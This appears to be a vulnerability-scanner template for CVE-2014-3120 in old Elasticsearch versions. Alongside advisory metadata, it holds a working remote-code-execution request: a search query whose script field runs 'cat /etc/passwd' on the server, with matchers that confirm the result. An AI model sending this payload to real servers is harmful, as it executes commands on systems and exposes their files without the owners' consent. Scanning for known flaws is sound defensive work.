ElasticSearch v1.1.1/1.2 RCE

id: CVE-2014-3120

info:
  name: ElasticSearch v1.1.1/1.2 RCE
  author: pikpikcu
  severity: medium
  description: |
    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
  impact: |
    Allows remote attackers to execute arbitrary code on the affected system
  remediation: |
    Upgrade to a patched version of ElasticSearch
  reference:
    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
    - https://www.elastic.co/blog/logstash-1-4-3-released
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3120
    - http://bouk.co/blog/elasticsearch-rce/
    - https://www.elastic.co/community/security/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2014-3120
    cwe-id: CWE-284
    epss-score: 0.53209
    epss-percentile: 0.97551
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elasticsearch
    product: elasticsearch
  tags: cve2014,cve,rce,elasticsearch,kev,vulhub,elastic

http:
  - raw:
      - |
        POST /_search?pretty HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded

        {
            "size": 1,
            "query": {
              "filtered": {
                "query": {
                  "match_all": {
                  }
                }
              }
            },
            "script_fields": {
                "command": {
                    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
                }
            }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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